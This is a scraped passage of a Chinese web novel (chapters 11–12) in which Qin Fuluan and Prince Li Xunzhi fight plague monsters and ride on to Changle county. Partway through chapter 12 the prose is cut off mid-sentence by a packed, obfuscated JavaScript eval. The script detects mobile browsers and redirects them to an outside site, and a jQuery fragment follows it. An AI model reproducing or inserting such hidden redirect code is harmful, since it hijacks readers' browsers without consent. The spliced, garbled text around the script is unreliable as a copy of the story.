她满脸血污,连头发都被刚才那胖妇人的血浸成一绺一绺黏在额头上,身上那件早□□涸血液染成褐色的圆领团花縠纹袍散发着一股难闻的血腥味,更要命的是她说话时温热的气息黏在他的皮肤上,像是一只只小小的触手,让他浑身战栗不已。 李巽之心中大震,全身上下起了一层鸡皮疙瘩,整个人僵在那里不能动弹。 秦扶鸾双脚踩住马镫从马背上站起来,吃力地去够李巽之挂在战马上的那只箭囊,但奈何她身下这匹白马平日娇惯,被围困在这么多面目狰狞的怪物中间一时吓破了胆,漂亮修长的四蹄焦躁不安地踩着小碎步,连带着马背上的秦扶鸾也站立不稳,只好一手搭住李巽之的肩膀,费了一番力气这才够到了那只箭囊。 有了弓箭,凭她的弓马功夫至少也能给李巽之拖上一段时间。 秦扶鸾还没来得及高兴。 李巽之忽用力一扯缰绳,将她的手狠狠地甩了下去。 秦扶鸾一个趔趄,差点摔下马,等她手忙脚乱地坐稳身体,抬头去看,直直对上了李巽之嫌弃厌恶的眼神。 他端坐马上,面色冷凝,身体绷得很紧,冰冷的目光落在她的身上,宛如一把刮骨剔肉的利刃。 秦扶鸾生于幽州长于幽州,是秦猛的掌中珠、心头肉,哪曾受过半分委屈?她只觉方才勉强压下去的那股怒气蓦地从后脑勺猛蹿了上来,一时脑热,从箭囊里取出那张金涂弓,想也没想,恶狠狠地反手朝李巽之击去。 李巽之没反应过来,竟被秦扶鸾打了个正着,直到额头上传来一阵剧烈疼痛,他瞳孔微微睁大,似乎不敢相信刚才发生了什么。 这个小小的节度使之女,竟然敢……打他? 他又惊又怒,抬头去看。 那女子竟然冲他微微一笑,嘴里道:“手抖,对不住,九弟。” 李巽之眼中戾气暴涨,他盯着那张巧笑倩兮的脸,简直想用手中长枪给眼前这个不知死活的女人捅个对穿,可眼前这人偏偏不是别人,她是他兄长未过门的妻子,也是关系到中央朝廷和幽州重镇未来局势的重要人物。 他可以对旁人喊打喊杀,却不能对眼前这个小小女子做些什么,哪怕她实在可恶至极。 李巽之黑着一张脸,硬生生忍下那口气,那只摧碑裂石的铁手紧紧握着长枪,几乎要生生攥出一个烙印来。 秦扶鸾见他忍气吞声,不禁心情大好,她收回视线,低头打量手中那张沉甸甸的金涂弓,这弓虽是金漆涂就,却丝毫不显张扬,打眼一看,似有一股悍然杀气,弓身上沾着一点鲜血,看起来格外刺眼。 血?哪里来的血? 秦扶鸾的心猛然一跳,强装镇定地回头去看。 两个怪物直直地朝他们这边扑过来。 李巽之运足臂力,拧腰送枪,力道之大,直接将那两个怪物一齐贯穿,怪物嘴里涌出大股大股的鲜血,如同两只没有任何反抗能力的野兔被他串在了那杆银枪上,李巽之手中长枪一振,那两个已经气绝的怪物被挑飞出几丈开外。 察觉到她在看,李巽之一脸阴沉地回头看过来,他额头上豁开一个口子,一道鲜血顺着那张俊美阴郁的脸淌下来,看起来有种如泣如诉的美感。 秦扶鸾抿了抿唇,冲他挤出一个勉强的笑来。 不知怎的,后知后觉想起这人“杀神”的恶名,她的不满和怒火像是泄了洪的湖水,连一丝波澜也不敢有了。 秦扶鸾有些心虚地收回视线,飞快地拭去那一点血迹。 谁知道这弓竟然这么沉,她本来只是想稍作回敬,没想到竟然见血了。 那道锐利的目光如芒在背,秦扶鸾深吸一口气,摈弃一切杂思,目光沉静地望向长街那边朝他们涌过来的怪物。 黄土飞扬,怪物们敞开血盆大口,口中发出兴奋的咆哮声,发了狂似的朝这边疾奔而来。 秦扶鸾挟矢正筈,活动手指,勾住弓弦,瞄准了跑在最前面的那只怪物的额心。 她的弓马功夫是从小跟在秦猛身边历练出来的,不说是贯虱穿杨,那也能称得上箭无虚发。 待会儿等那位目中无人的靖王殿下见识到了她精湛的射艺,方才知道他那句“仰仗她”绝对不是虚言。 秦扶鸾嘴角微扬,勾住弓弦的手指用力一拉,却没拉动。 她脑中一空,低头看了一眼手中的金涂弓,不敢相信,沉气再去拉,那弓弦依旧纹丝不动。 怎么回事? 秦扶鸾意识地回头去看李巽之。 李巽之恰好也在看她,那冰冷的目光里,说不出是愤怒还是嘲讽,却唯独没有意外。 很明显,他早猜到了她拉不开这张弓。 秦扶鸾恨恨地咬牙,放下手中的金涂弓。 她从小在阿耶的校武场上厮混,长到如今一十七岁,虽没习得什么绝世武艺,但身强体壮,气力远超寻常女子,就是寻常男子也未必是她对手。 可她却忘了李巽之并不是寻常男子。 昔者有飞将军李广射虎入石、没金铩羽。本朝太宗皇帝更是能挽两米之长弓,发四羽之长簇。李巽之这样的悍将,他所配的定不是普通强弓。 秦扶鸾感到了一种真切的恐惧,额头冒出一层热汗,没有弓箭,若只用长刀和那些怪物近身厮杀,她怕是坚持不了多久。 必须要想别的法子才行。 她目光急切地搜寻了一圈,发现周围全是小商贩用竹木临时支起来的布篷,地上散落了很多被踩烂的蔬果和装家禽的竹笼,刚才混乱发生时那些商贩没来得及收走这些货物。 明明没有一丝风,可那些支起来的篷布却在微微鼓动,沉重又杂乱的脚步声正在极速逼近,仿佛一群鬼兵压境,让人胆寒。 秦扶鸾急得如热锅上的蚂蚁,呼吸也变得急促起来,她深吸一口气,强迫自己冷静思考。 一定有办法可以解决眼前困境。 阿耶教过她的,投之亡地然后存,陷入死地然后生。 任何绝境,都有一线生机。 鼻尖已经闻到了那种熟悉的血腥味道。 秦扶鸾定定地望着不远处那些怪物嘴里流下来的血色涎液。 脑中白光倏然一闪。 有了! 她攥紧手中长刀,深吸一口气,滚下马去,朝着一处狂奔而去。 李巽之眼角余光瞥见秦扶鸾的动作,握着长枪的手骤然一紧。 这秦氏女疯了吗?下马做什么? 他正欲催马上前为她解围,却见秦扶鸾一把拎起两个圆滚滚的东西,利落地砍翻两个朝她扑过去的怪物,手脚并用地爬上街边林立的布篷。 李巽之一愣,勒马停在远处。 那些商贩搭建的布篷虽不甚高,但离地面也有一人多高的距离,她躲在上面不发出声 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秦扶鸾将几张篷布割开又系在一起,像一张大大的旗帜,她把篷布一角裹住石头扔给李巽之,另一角则握在她自己手中。 见李巽之抬头看过来,她立刻冲他使眼色。 李巽之还没反应过来。 忽起了一阵风,将两人手中的篷布吹展,挡住了头顶的日光。 秦扶鸾面色一喜。 就是现在! 她转身掏出两个竹笼,打开笼子,放出里面的两只野雉,直接朝那些怪物头顶扔去。 活物发出的动静瞬间吸引了下面的怪物,它们目露兴奋,扭头朝这边猛扑过来。 两只野雉受到惊吓,拼命扑腾着翅膀,在怪物头顶跳来跳去。怪物们挤在一起,伸出手臂,扬起血淋淋的脑袋,拼命地去够那两只野雉。 秦扶鸾冲李巽之吹了一个响亮的呼哨,攥住手中的篷布,半蹲着身体,踩着摇摇晃晃的布篷朝前方奔去。 李巽之会意,纵马跟随着她的步伐。 两人扯着手中篷布,一上一下,将一大群怪物全都拢在了这张大大的篷布里。 秦扶鸾站在布篷上,听到怪物们的吼叫声从那张篷布底下传来,她嘴角微微勾起,扯下一截衣袖,从怀中掏出火镰和燧石,利落地点火,用火绒点燃衣袖,用力一抛,落在那张篷布上。 一瞬间火光大盛。 篷布底下的怪物挤在一起挣扎着,头发和身上的衣物被烈焰灼烧,又被同伴踩踏,发出痛苦且愤怒的嚎叫声。 秦扶鸾从街边的布篷上跳下来,拍拍手上浮尘,冲马上的李巽之抬了抬下巴。 李巽之的目光落在她带着得意之色的脸上,顿了一下,很快,面无波澜地移开视线。 篷布和烈火并不能将这些怪物杀死,却能挡住它们的视野,大大削弱它们的行动能力。 两人隔着燃烧的篷布,横劈竖砍,将下面的那些怪物砍得稀烂,腥臭的血液将脚下的黄土染得通红。 状如漏斗的地形让两人难以脱身,却也让这些怪物挤在一处不能动弹,任凭两人刀枪落在身上,毫无还手之力。 两人将周围的怪物差不多杀了个干净。 长街那边突然传来一阵急促的马蹄声。 “殿下!” 两人回头去看。 却是崔尚带领着李巽之的部下朝这边疾驰而来。 秦扶鸾眼睛一亮,见有人来处理残局,她转头看了李巽之一眼,随即掉转马头,纵马朝馆驿的方向奔去。 李巽之眉头微皱,也没有开口去拦,而是回头望向崔尚。 崔尚点头,立刻催马跟上秦扶鸾。 两人一路疾驰。 馆驿所处的区域离县丞家有段距离,故而此处暂时风平浪静,大街小巷不见半个人影。 想是收到了县令的指示,此刻馆驿的大门紧闭。 见没有任何打斗的迹象,也没听到馆驿里面传来尖叫声,秦扶鸾心下稍安,急忙上前拍门。 听到她的声音,守在门后的驿长忙命人开门。 秦扶鸾刚踏进门,尚未来得及询问驿长几句。 就见长廊那边,青禾面色急切地迎了上来,见到秦扶鸾满脸血污,她愣了一下:“殿下,你……” “无妨,不是我的血。”秦扶鸾摆摆手,止住她的话,语气关切地问:“你们可安好?” “奴婢等一切安好,杜副使刚刚遣人过来,说他暂时留在县衙,还嘱咐奴婢等关上门窗不要外出。” 秦扶鸾的一颗心总算放进了肚子里,忽瞥见青禾手中似乎攥着一卷信纸,有些疑惑:“这是?” 青禾闻言抬起头,先是扫了一眼跟在秦扶鸾身后的崔尚,随即凑到她耳边,低声道: “殿下,是叶将军的急函。” 12. 第 12 章 李巽之带领部下将附近街巷里的怪物尽数诛杀。 疫情扩散的速度似乎比想象中的更为恐怖,但好在他们行动迅速,除了县丞家所在的坊,城内其余几个坊暂时风平浪静。 等一切结束,已是正午。 冯简和曹德全带着人手在城中收拾残局。 李巽之则率部下回县衙休整,午后再出发去昌乐县。 马蹄尚未转过街巷,卢望川早已经迎到门前。 他身边站着一个令李巽之有些意外的身影。 秦扶鸾换了一身胡服,素净的一张脸,一头乌发束成男式发髻,看起来活脱脱一个俊俏的少年郎。 本朝贵族女子喜着男装出行,只是寻常闺阁女子体态柔美妆容精致,就算穿了男装也能一眼被认出,但秦扶鸾却有些不一样,她身姿挺拔清韧、四肢修长有力,之前裹在繁复的裙装里不甚明显,此时穿了一身修身的胡服,倒是别有一番风采。 李巽之的目光在那张笑意盈盈的俏丽脸庞上一扫而过,利落地翻身下马,将手中的缰绳甩给身后部将,随后头也不回地大步迈入县衙大门。 卢望川忙跟了上来,殷切道:“殿下,饭食已经准备好了,可需传膳?” 李巽之恍若未闻,冷着一张脸朝后院走去,他身后一名皮肤微黑的部将冲卢望川摆了摆手,示意他退下。 李巽之性格乖僻、阴晴不定,卢望川早已习惯,只是现下秦扶鸾在一旁看着,他不免觉得有些脸上无光,朝她呵呵笑了一声,道:“此次疫情来得凶险,靖王殿下定是在忧心天下大事,故而愁眉不展。王妃殿下请随下官去堂中歇息片刻喝杯热茶吧。” 目送着李巽之的背影消失在长廊尽头,秦扶鸾转头随卢望川朝县衙内走去。“卢大人刚才说起那县丞夫人本是昌乐县人?”她十分体贴地换了一个话题。 卢望川闻言点点头,想起自己那个闯下大祸的下属,他一脸痛心,很有几分恨铁不成钢的意味,道:“下官与那林县丞共事三年,竟不知他是个如此糊涂之人!前两日他夫人回昌乐县探亲,自那之后他便告病在家,想是当时已经染病了,可恨他竟然隐瞒妻子病情,如今铸成大错,就是将其千刀万剐也不能解恨!” 秦扶鸾脸色凝重,低声喃喃道:“从昌乐县探亲回来便变成那般模样,想必此时昌乐县城中的情况已经糟糕到无法想象了。” 卢望川唉声叹气,愁眉不展:“靖王殿下执意要去昌乐县,下官苦劝无果,实在不知该如何是好。下官刚才看见靖王殿下的额头上有一处伤痕,殿下神勇非凡,也不知是怎么伤到的,着实令人忧心,若是殿下此去昌乐县有个好歹,下官的项上人头怕是难保…… 他絮叨个不听。 秦扶鸾出神不语,心中只记挂着叶星的那封急函—— 阿鸾,昌乐县危,带兵速援,万务小心! 信纸上的字迹潦草,看起来应该是在非常匆忙的情况下写的。 秦扶鸾心中忧虑万分,叶星还不知阿耶给她的那一千牙兵已全军覆没,故而才会让她带兵去援救昌乐县。 按照叶星的性格,若不是实在到了无路可走的地步,肯定不会写下这封急函。 想到此处,秦扶鸾收回思绪,转头看着仍在滔滔不绝的卢望川,直接开口打断他,问道:“卢大人,你这里可有上好的金创药?” 卢望川一愣。 金创药? - 李巽之沐浴更衣完毕,推门而出。 不远处的廊柱下站着一个熟悉的身影。 此时正值初夏,庭中的那株石榴开得正好,枝头榴花似火欲燃。 那人听到声音,转头看过来,依旧是那副笑意盈盈的模样,午后刺目的日光落在那张素白的脸上,远远望去,只能看见她黑沉沉的眼眸和红艳艳的唇。 李巽之顿住脚步,等着她靠近。 “九弟的伤可好些了?”秦扶鸾走过来,目光带着歉意望向他额头处的那个伤疤。 伤口很浅,此时已经止血,但落在那张俊美无俦的脸上看起来却格外刺眼。 李巽之的眼神轻飘飘地在她那张满是关切的脸上扫过,他没有说话,神色峻厉,不假辞色,一副十分不好接近的模样。 秦扶鸾丝毫不在意他的冷淡,她赔着笑,递上一个精致小巧的白玉瓶,道:“这是我费了一番功夫才找来的上好金创药,能止血定痛,生肌收口,绝不叫九弟的绝世容颜留半点疤痕。” 李巽之的表情有些古怪,并不伸手来接,只是冷冷开口道:“你想做甚?” 秦扶鸾笑着道:“今日不小心出手伤了九弟,做嫂嫂的心里实在过意不去,这才来……” 李巽之抬脚就走。 “哎哎哎,九弟留步,留步。”秦扶鸾赶紧伸手拦住他,讪讪笑道:“九弟做事总是这么雷厉风行,我这做嫂嫂的话还没说完呢。” 李巽之皱起眉,显然已经是十分不耐烦。 秦扶鸾知道这招对他没用,立刻道:“我想和你一起去昌乐县。” 李巽之面无波澜:“本王以为这个问题已经讨论过了。” 秦扶鸾忙点头,道:“是是是,已经讨论过,只是当时我们有些异议。” 李巽之冷冷道:“没有异议,不行。”说罢,按住腰间佩刀,大步朝长廊那边走去。 这人的脾气简直坏极了! 简直就是茅坑里的石头又臭又硬! 秦扶鸾气得跺脚,但想起叶星正等着自己,她只能咬咬牙,抬脚跟了上去,好声好气地求道:“殿下,带上我吧,我绝对不会给殿下添乱。” 李巽之浑若未闻。 秦扶鸾实在没法,只好故技重施,搬出对方的兄长,道:“殿下,你把我丢在这里,若是我出了事,你怎么和睿王殿下交代?” 李巽之终于定住脚步。 这秦氏女确实狡猾,她深知自己身份的特殊和重要,今日怕也是仗着这个才敢对他动手,真真是可恶至极。 可是她刚才这话确实没有说错。 今天早起之时李巽之还觉得整个顿丘县像个铁桶一般牢不可破,可不到一个时辰城内便发生了暴乱。 诸如此般事件实在是防不胜防,毕竟他没有时间把整个顿丘县的每一寸土地都翻开仔细检查。 若是今日他走后城内再发生暴乱,那秦氏女身边也就一个姓冯的年轻武将可用,其余都是些老弱病残,又怎么可能护住她? 李巽之左思右想,还是觉得只有把她放在自己身边才能让他安心。况且今日看那秦氏女还算机敏,带上她,也不一定是个累赘。 思及此,李巽之转头看过去。 秦扶鸾见他看过来,眼睛一亮,满脸期盼地盯着他的脸。 “备好你的马,一刻钟后出发。”李巽之声音平静道。 秦扶鸾一愣,似乎有些不敢相信。 “我去牵马!”她语气欣喜至极,似乎生怕反应慢了他会改变心意,丢下一句话,转身飞快跑远了,轻盈欢快的脚步卷起一地妍丽的榴花。 李巽之收回视线,继续朝外大步走去。 身后的裴澍生和尉迟谦隐秘地对视一眼,随后恭敬地低下头,没有说话。 李巽之简单地用完午膳,待迈出县衙大门,就见秦扶鸾和崔尚早已等在踏垛下的那块空地上。 两人牵着各自的马,有说有笑。不过是半日相处,看起来竟然是相当契合的模样。 李巽之翻身上马,整装列队准备出发。 卢望川见秦扶鸾也在其中,有些疑惑,心中猜想王妃殿下是不是要为靖王殿下送行,忽见马上的秦扶鸾朝他招手,忙趋步上前,恭敬听候指示。 秦扶鸾从怀中拿出一封信递到卢望川手中,嘱咐道:“卢大人,待会儿杜副使回来,帮我把这封信交给他,就说我和靖王殿下一起去昌乐县了,让他不要担心,万务保重自身。” 卢望川愣在当场。 去昌乐县?怎么靖王殿下去昌乐县还不够,现在连睿王妃也要一起去了? 卢望川当下两眼一黑,瞠目结舌说不出来话。 秦扶鸾呼喝一声,白马已经奔出去几十步开外,像是忽然想起来什么,她回过头来,又冲卢望川喊道:“对了,卢大人,我曾答应县丞大人要将他的妻儿好好安葬,待一切事了,若是得空,请卢大人帮忙料理一下。” 卢望川还没来得及说声什么,就见秦扶鸾一甩手中马鞭,高高束起的乌发在风中猎猎飞扬,骏马四蹄翻飞如飒沓流星,眨眼间便将身后众骑甩在身后。 一行人消失在长街尽头,只留下漫天征尘。 卢望川手里攥着那封信,呆呆地站在原地,简直欲哭无泪。 - 李巽之带着几十骑兵聚集在城门处。 城门上下,俱是一副严阵以待的模样,只见尘土飞沙轻扬,耳畔是旌旗招展之声。 众人握紧手中利器,紧紧地盯着面前那扇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068827|195189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 深赭色的城门。 城门后那些怪物粗重的喘气声和喉咙里发出的低吼声清晰可闻。 李巽之神情平静,他转头看了一眼身边的秦扶鸾。 秦扶鸾攥紧手中长刀,咽了咽口水。 李巽之收回目光,又仰头望向城门楼某个方向。 曹德全早接到命令在此等候,此刻看到李巽之的眼神示意,他忙带着十几个民夫奔到城墙另一边拼命挥手大叫。 城门外顿时响起一阵躁动的吼叫声和脚步声。 围在城门外的怪物被城门楼上的动静吸引过去。 门卒趁机小心翼翼地将城门拉开一道缝隙。 骑兵队伍如一尾灵活的小鱼从那道缝隙里钻了出去。 正值午后,日光将大地炙烤得热气蒸腾,一股热浪裹挟着浓重的腥臭味迎面扑来。马蹄踏在地面上扬起一片灰尘,发出的动静也引起了那些怪物的注意。 它们空洞的眼神在转头看见骑兵队伍的那一瞬间泛起猩红嗜血的光,布满污秽的嘴里发出野兽般的嘶吼声,它们歪着脖子、四肢扭曲地朝这边扑过来,有的怪物甚至来不及转身,直接被身后的同伴冲撞倒地,又被踩踏成一滩肉泥。 “崔尚,护住她。” “是!” 李巽之端坐马上,神色凛然,修韧的腰干绷得发紧,蕴力蓄势。他望着不远处被扬起的那片黄土,也望着黄土后那群如蚁附膻、茹毛饮血的怪物。 “杀!” 一声怒吼如雷贯耳,他手中那柄长枪一挺,一马当先,如出闸猛虎,带着身后众将士势不可挡地奔向那群怪物。 曹德全站在城墙上看得胆战心惊,只见城下黄土飞扬,刀光交错,血色飞溅,人头滚滚而落,恍若人间炼狱。 李巽之带领手下将士杀得天昏地暗,这才将那群怪物的包围圈撕破一个口子,终于摆脱了那些它们的纠缠。 一直奔出几里外,他回头看了一眼身后的那座城池。 这些怪物虽然战力不高,但数量一旦多起来,却比任何虎狼之师还要难缠。因为它们全然不畏死,没有任何身为人的弱点。 李巽之又看了一眼秦扶鸾,经过刚才那一番恶战,她的神色还算平静。 他按下思绪,催马急驰。 一路奔到官道的一个岔路口,众将士按照他之前的吩咐,一队带着急函去州府报信,另一队则由李巽之亲率去往这次疫情的始发地昌乐县。 天色渐暗,一旦在黑夜的野外碰到那些怪物,情势只会更加凶险。众人奋力急催身下坐骑,终于在天黑之前到达了昌乐县附近。 李巽之勒马停在距离城门外不远处的一个小山坡上,居高临下俯瞰下去。 明明此处乃是疫情的源头,可城外围着的怪物却比顿丘县少上许多。 他原以为会再有一场恶战,没想到城外只有十几个怪物在漫无目的地游荡。 李巽之心中疑惑。 忽见城门从内打开。 门内传来一阵模糊的声音,似乎有锣鼓声、人语声、诵读声、甚至还有歌声,种种声音交织在一起,在这天光晦暗的傍晚,有种恍若隔世的诡异感。 那十几个怪物被声音吸引,立马兴奋起来,转头朝城内急奔而去。 随着那些怪物的消失,城外恢复了一片宁静,像是什么都没有发生过。 城门仍旧开着,像是一张贪婪的深渊巨口,等着猎物乖乖送上门来。 李巽之皱起眉。 “有些古怪。”秦扶鸾低声道。 李巽之望着城门的方向,沉默不语, 所有人都能看出来有古怪,可若想弄清此次疫情源头,他们不得不进去。 “殿下,可要分头行动。一队留在此处驻守,另一队入城查探情况?”崔尚建言道。 李巽之闻言不语,思考片刻,他沉声开口道:“不必。所有人,随本王进城!” 说完,策马扬鞭,直奔城门而去。 身后众将士紧随其后。 迈入城门的那一瞬间,众人屏气凝神,紧紧攥着手中兵器,神情警惕,严阵以待。 可举目四望,却见城内风平浪静,大街小巷没有一个人影,只有街旁酒肆的青旆随风轻晃。就连刚才那十几个怪物也不见了踪影。 整座昌乐县恍如一座死城。 众人面面相觑,正惊疑不定。 “哐当”一声。 城门忽地在他们身后合拢。